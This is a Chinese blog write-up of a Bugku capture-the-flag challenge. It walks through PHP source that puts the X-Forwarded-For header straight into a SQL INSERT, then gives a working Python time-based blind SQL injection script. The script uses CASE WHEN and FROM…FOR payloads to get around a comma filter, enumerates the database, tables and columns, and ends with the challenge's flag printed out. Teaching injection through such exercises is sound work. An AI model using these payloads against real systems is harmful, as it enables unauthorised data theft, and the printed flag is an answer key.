Loading... 这道题有一个坑卡了我贼久,单独拿出来记录一下。 ##原题 https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5 ##源码分析 源码题目给出了: ```php <?php error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; //XFF优先 }else{ $ip = $_SERVER['REMOTE_ADDR']; //否则REMOTE_ADDR } $ip_arr = explode(',', $ip); //过滤',' return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; //insert into注入点 mysql_query($sql); ?> ``` 观察源码可以看出,获取XFF中的IP,然后根据逗号切分,返回第一部分。这就意味着我们没办法使用逗号。 所以这里只能用基于时间的注入,注入点是XFF头。 在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是: ``` select case when (条件) then 代码1 else 代码 2 end; ``` 而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1。 那么就开始注入吧。 ##注入 ###爆库: ```python #!/usr/bin/env python import requests,time,string characters = string.ascii_letters + string.digits + string.punctuation max_length = 50 target = 'http://120.24.86.145:8002/web15/' database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" def get_database(): flag = '' for i in range(1, max_length): next_position = False for char in characters: payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) headers = { 'X-Forwarded-For': payload } try: r = requests.get(target,headers=headers,timeout=4) except requests.exceptions.ReadTimeout: flag += char print(flag) next_position = True break if not next_position: return flag get_database() ``` > 说明一下为什么Payload里面最右边多了一个括号:这个是为了闭合源码中 `INSERT INTO` 里面的括号。 ###爆表: ```python payload = "'+(select case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) ``` !> 注意这里需要加上 limit 限制选择的表的数量。不然的话……(明白我的意思吧) ###爆字段: ```python payload = "'+(select case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) ``` ###得flag ```python payload = "'+(select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) ``` 得到flag:`cdbf14c9551d5be5612f7bb5d2867853` (不愿意等就拿走吧 : D) 最后修改:2019 年 06 月 10 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏